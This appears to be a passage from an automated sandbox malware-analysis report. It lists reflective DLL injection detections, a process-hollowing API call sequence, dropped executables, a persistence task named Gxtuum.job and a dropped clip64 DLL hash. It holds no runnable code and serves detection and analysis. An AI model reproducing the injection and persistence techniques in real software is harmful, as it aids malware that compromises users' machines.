Source: 5.2.explorer.exe.aff0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 5.3.explorer.exe.bf9b350.2.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 5.2.explorer.exe.c5b0000.3.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 5.3.explorer.exe.bf9b350.5.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 00000005.00000000.1347856091.000000000AFF0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 00000002.00000002.3800744010.0000021C7EC7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen

Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Code function: 0_2_00007FF7CDC42048 GetModuleFileNameW,CreateProcessW,CreateFileW,GetFileSize,CloseHandle,VirtualAlloc,CloseHandle,ReadFile,VirtualFree,CloseHandle,CloseHandle,GetThreadContext,VirtualFree,ReadProcessMemory,GetModuleHandleA,GetProcAddress,NtUnmapViewOfSection,VirtualFree,VirtualAllocEx,VirtualFree,WriteProcessMemory,VirtualFree,WriteProcessMemory,VirtualFree,RtlCompareMemory,ReadProcessMemory,WriteProcessMemory,VirtualFree,WriteProcessMemory,SetThreadContext,VirtualFree,ResumeThread,VirtualFree,VirtualFree,	0_2_00007FF7CDC42048
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5B1370 CreateFileA,GetFileSize,malloc,ReadFile,CloseHandle,CreateProcessA,GetThreadContext,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,NtQueryInformationProcess,WriteProcessMemory,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,free,	5_2_0C5B1370
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Code function: 6_2_00007FF673522048 GetModuleFileNameW,CreateProcessW,CreateFileW,GetFileSize,CloseHandle,VirtualAlloc,CloseHandle,ReadFile,VirtualFree,CloseHandle,CloseHandle,GetThreadContext,VirtualFree,ReadProcessMemory,GetModuleHandleA,GetProcAddress,NtUnmapViewOfSection,VirtualFree,VirtualAllocEx,VirtualFree,WriteProcessMemory,VirtualFree,WriteProcessMemory,VirtualFree,RtlCompareMemory,ReadProcessMemory,WriteProcessMemory,VirtualFree,WriteProcessMemory,SetThreadContext,VirtualFree,ResumeThread,VirtualFree,VirtualFree,	6_2_00007FF673522048

Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe

File created: C:\Windows\Tasks\Gxtuum.job

Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Code function: 0_2_00007FF7CDC4345C	0_2_00007FF7CDC4345C
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Code function: 0_2_00007FF7CDC42048	0_2_00007FF7CDC42048
Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00007FF68DEA345C	2_2_00007FF68DEA345C
Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00007FF68DEA2048	2_2_00007FF68DEA2048
Source: C:\Windows\explorer.exe	Code function: 5_2_0B002B14	5_2_0B002B14
Source: C:\Windows\explorer.exe	Code function: 5_2_0B01BBB0	5_2_0B01BBB0
Source: C:\Windows\explorer.exe	Code function: 5_2_0AFF0BF0	5_2_0AFF0BF0
Source: C:\Windows\explorer.exe	Code function: 5_2_0B01A1D8	5_2_0B01A1D8
Source: C:\Windows\explorer.exe	Code function: 5_2_0AFF71FD	5_2_0AFF71FD
Source: C:\Windows\explorer.exe	Code function: 5_2_0AFF71F3	5_2_0AFF71F3
Source: C:\Windows\explorer.exe	Code function: 5_2_0AFF71EB	5_2_0AFF71EB
Source: C:\Windows\explorer.exe	Code function: 5_2_0AFF71E1	5_2_0AFF71E1
Source: C:\Windows\explorer.exe	Code function: 5_2_0AFF71D7	5_2_0AFF71D7
Source: C:\Windows\explorer.exe	Code function: 5_2_0AFF71CD	5_2_0AFF71CD
Source: C:\Windows\explorer.exe	Code function: 5_2_0AFF7140	5_2_0AFF7140
Source: C:\Windows\explorer.exe	Code function: 5_2_0B0148D0	5_2_0B0148D0
Source: C:\Windows\explorer.exe	Code function: 5_2_0AFF66C0	5_2_0AFF66C0
Source: C:\Windows\explorer.exe	Code function: 5_2_0B018FD4	5_2_0B018FD4
Source: C:\Windows\explorer.exe	Code function: 5_2_0B00F7E8	5_2_0B00F7E8
Source: C:\Windows\explorer.exe	Code function: 5_2_0B01D600	5_2_0B01D600
Source: C:\Windows\explorer.exe	Code function: 5_2_0B00FE28	5_2_0B00FE28
Source: C:\Windows\explorer.exe	Code function: 5_2_0B011EBC	5_2_0B011EBC
Source: C:\Windows\explorer.exe	Code function: 5_2_0B0046C0	5_2_0B0046C0
Source: C:\Windows\explorer.exe	Code function: 5_2_0B014520	5_2_0B014520
Source: C:\Windows\explorer.exe	Code function: 5_2_0B01DD32	5_2_0B01DD32
Source: C:\Windows\explorer.exe	Code function: 5_2_0B0195F8	5_2_0B0195F8
Source: C:\Windows\explorer.exe	Code function: 5_2_0B01C404	5_2_0B01C404
Source: C:\Windows\explorer.exe	Code function: 5_2_0B011C24	5_2_0B011C24
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5B17F0	5_2_0C5B17F0
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5B72C0	5_2_0C5B72C0
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5C52C0	5_2_0C5C52C0
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5D54D0	5_2_0C5D54D0
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5B7D40	5_2_0C5B7D40
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5DADD8	5_2_0C5DADD8
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5B7DD7	5_2_0C5B7DD7
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5B7DCD	5_2_0C5B7DCD
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5B7DFD	5_2_0C5B7DFD
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5B7DF3	5_2_0C5B7DF3
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5B7DEB	5_2_0C5B7DEB
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5B7DE1	5_2_0C5B7DE1
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5C3714	5_2_0C5C3714
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5DC7B0	5_2_0C5DC7B0
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5DD004	5_2_0C5DD004
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5D2824	5_2_0C5D2824
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5DE932	5_2_0C5DE932
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5D5120	5_2_0C5D5120
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5DA1F8	5_2_0C5DA1F8
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5DE200	5_2_0C5DE200
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5D0A28	5_2_0C5D0A28
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5D2ABC	5_2_0C5D2ABC
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5D9BD4	5_2_0C5D9BD4
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5D03E8	5_2_0C5D03E8
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Code function: 6_2_00007FF67352345C	6_2_00007FF67352345C
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Code function: 6_2_00007FF673522048	6_2_00007FF673522048
Source: C:\Windows\System32\audiodg.exe	Code function: 8_2_00007FF6FDB5345C	8_2_00007FF6FDB5345C
Source: C:\Windows\System32\audiodg.exe	Code function: 8_2_00007FF6FDB52048	8_2_00007FF6FDB52048
Source: C:\Windows\System32\msiexec.exe	Code function: 9_2_00007FF63B52345C	9_2_00007FF63B52345C
Source: C:\Windows\System32\msiexec.exe	Code function: 9_2_00007FF63B522048	9_2_00007FF63B522048
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102DFBD8	11_2_00007FF7102DFBD8
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102E5C74	11_2_00007FF7102E5C74
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102C1000	11_2_00007FF7102C1000
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102E518C	11_2_00007FF7102E518C
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102D91B0	11_2_00007FF7102D91B0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102DD200	11_2_00007FF7102DD200
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102E8A38	11_2_00007FF7102E8A38
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102D1280	11_2_00007FF7102D1280
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102D0A60	11_2_00007FF7102D0A60
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102D7AAC	11_2_00007FF7102D7AAC
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102C8B20	11_2_00007FF7102C8B20
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102E0B84	11_2_00007FF7102E0B84
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102E33BC	11_2_00007FF7102E33BC
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102D73F4	11_2_00007FF7102D73F4
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102D1484	11_2_00007FF7102D1484
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102D0C64	11_2_00007FF7102D0C64
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102D2CC4	11_2_00007FF7102D2CC4
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102DCD6C	11_2_00007FF7102DCD6C
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102C95FB	11_2_00007FF7102C95FB
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102D0E70	11_2_00007FF7102D0E70
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102E4F10	11_2_00007FF7102E4F10
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102DFBD8	11_2_00007FF7102DFBD8
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102D1F30	11_2_00007FF7102D1F30
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102E5728	11_2_00007FF7102E5728
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102E2F20	11_2_00007FF7102E2F20
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102C9FCD	11_2_00007FF7102C9FCD
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102C979B	11_2_00007FF7102C979B
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102D5040	11_2_00007FF7102D5040
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102DD880	11_2_00007FF7102DD880
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102D1074	11_2_00007FF7102D1074
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102D28C0	11_2_00007FF7102D28C0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102E5C74	16_2_00007FF7102E5C74
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102E4F10	16_2_00007FF7102E4F10
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102C1000	16_2_00007FF7102C1000
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102E518C	16_2_00007FF7102E518C
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102D91B0	16_2_00007FF7102D91B0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102DD200	16_2_00007FF7102DD200
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102E8A38	16_2_00007FF7102E8A38
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102D1280	16_2_00007FF7102D1280
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102D0A60	16_2_00007FF7102D0A60
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102D7AAC	16_2_00007FF7102D7AAC
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102C8B20	16_2_00007FF7102C8B20
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102E0B84	16_2_00007FF7102E0B84
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102E33BC	16_2_00007FF7102E33BC
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102D73F4	16_2_00007FF7102D73F4
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102DFBD8	16_2_00007FF7102DFBD8
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102D1484	16_2_00007FF7102D1484
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102D0C64	16_2_00007FF7102D0C64
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102D2CC4	16_2_00007FF7102D2CC4
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102DCD6C	16_2_00007FF7102DCD6C
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102C95FB	16_2_00007FF7102C95FB
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102D0E70	16_2_00007FF7102D0E70
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102DFBD8	16_2_00007FF7102DFBD8
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102D1F30	16_2_00007FF7102D1F30
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102E5728	16_2_00007FF7102E5728
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102E2F20	16_2_00007FF7102E2F20
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102C9FCD	16_2_00007FF7102C9FCD
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102C979B	16_2_00007FF7102C979B
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102D5040	16_2_00007FF7102D5040
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102DD880	16_2_00007FF7102DD880
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102D1074	16_2_00007FF7102D1074
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102D28C0	16_2_00007FF7102D28C0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE265E64	16_2_00007FFEEE265E64
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1CFF60	16_2_00007FFEEE1CFF60
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1C2FA0	16_2_00007FFEEE1C2FA0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1CD030	16_2_00007FFEEE1CD030
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1EF000	16_2_00007FFEEE1EF000
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE232C48	16_2_00007FFEEE232C48
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE268DF8	16_2_00007FFEEE268DF8
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1F0E15	16_2_00007FFEEE1F0E15
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE232A68	16_2_00007FFEEE232A68
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1DDAC0	16_2_00007FFEEE1DDAC0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1C5B5C	16_2_00007FFEEE1C5B5C
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1CFBE0	16_2_00007FFEEE1CFBE0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE227BFC	16_2_00007FFEEE227BFC
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1C8854	16_2_00007FFEEE1C8854
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1D28B0	16_2_00007FFEEE1D28B0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1C26F8	16_2_00007FFEEE1C26F8
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1D16D0	16_2_00007FFEEE1D16D0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE202740	16_2_00007FFEEE202740
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1CF520	16_2_00007FFEEE1CF520
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1DF5A4	16_2_00007FFEEE1DF5A4
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1C3274	16_2_00007FFEEE1C3274
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1E62D0	16_2_00007FFEEE1E62D0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1C233C	16_2_00007FFEEE1C233C
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1D0300	16_2_00007FFEEE1D0300
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1C8310	16_2_00007FFEEE1C8310
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1CC360	16_2_00007FFEEE1CC360
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1E2384	16_2_00007FFEEE1E2384
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1EC429	16_2_00007FFEEE1EC429
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE2500BC	16_2_00007FFEEE2500BC
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1DD120	16_2_00007FFEEE1DD120
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1E1200	16_2_00007FFEEE1E1200
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF5DD2630	16_2_00007FFEF5DD2630
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF5DD521C	16_2_00007FFEF5DD521C
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF5DD1A80	16_2_00007FFEF5DD1A80
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF5DD3140	16_2_00007FFEF5DD3140
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF5DD2D30	16_2_00007FFEF5DD2D30
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF5DD3CF0	16_2_00007FFEF5DD3CF0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF5DD37B0	16_2_00007FFEF5DD37B0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF5DD1A80	16_2_00007FFEF5DD1A80
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF6556AE4	16_2_00007FFEF6556AE4
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF6552DD0	16_2_00007FFEF6552DD0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF6C9D130	16_2_00007FFEF6C9D130
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF6C971CC	16_2_00007FFEF6C971CC
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Code function: 17_2_00F7DC74	17_2_00F7DC74
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Code function: 17_2_050AEE58	17_2_050AEE58
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Code function: 17_2_050A8850	17_2_050A8850
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Code function: 17_2_050A0006	17_2_050A0006
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Code function: 17_2_050A0040	17_2_050A0040
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Code function: 17_2_050A8840	17_2_050A8840
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004B61F0	18_2_004B61F0
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004B51A0	18_2_004B51A0
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004E3310	18_2_004E3310
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004F63C4	18_2_004F63C4
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004B5450	18_2_004B5450
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004F64E4	18_2_004F64E4
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004ED559	18_2_004ED559
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004F4737	18_2_004F4737
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004DBBB0	18_2_004DBBB0
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004ECDCD	18_2_004ECDCD
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004DFDCB	18_2_004DFDCB
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004B4EF0	18_2_004B4EF0
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004F1FC7	18_2_004F1FC7
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_003061F0	19_2_003061F0
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_003463C4	19_2_003463C4
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_003464E4	19_2_003464E4
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_00344737	19_2_00344737
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_0033CDCD	19_2_0033CDCD
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_00304EF0	19_2_00304EF0
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_003051A0	19_2_003051A0
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_00333310	19_2_00333310
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_00305450	19_2_00305450
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_0033D559	19_2_0033D559
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_0032BBB0	19_2_0032BBB0
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_0032FDCB	19_2_0032FDCB
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_00341FC7	19_2_00341FC7
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_003061F0	20_2_003061F0
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_003463C4	20_2_003463C4
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_003464E4	20_2_003464E4
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_00344737	20_2_00344737
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_0033CDCD	20_2_0033CDCD
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_00304EF0	20_2_00304EF0
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_003051A0	20_2_003051A0
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_00333310	20_2_00333310
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_00305450	20_2_00305450
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_0033D559	20_2_0033D559
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_0032BBB0	20_2_0032BBB0
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_0032FDCB	20_2_0032FDCB
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_00341FC7	20_2_00341FC7

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\clip64[1].dll C7ED512058BC924045144DAA16701DA10F244AC12A5EA2DE901E59DCE6470839
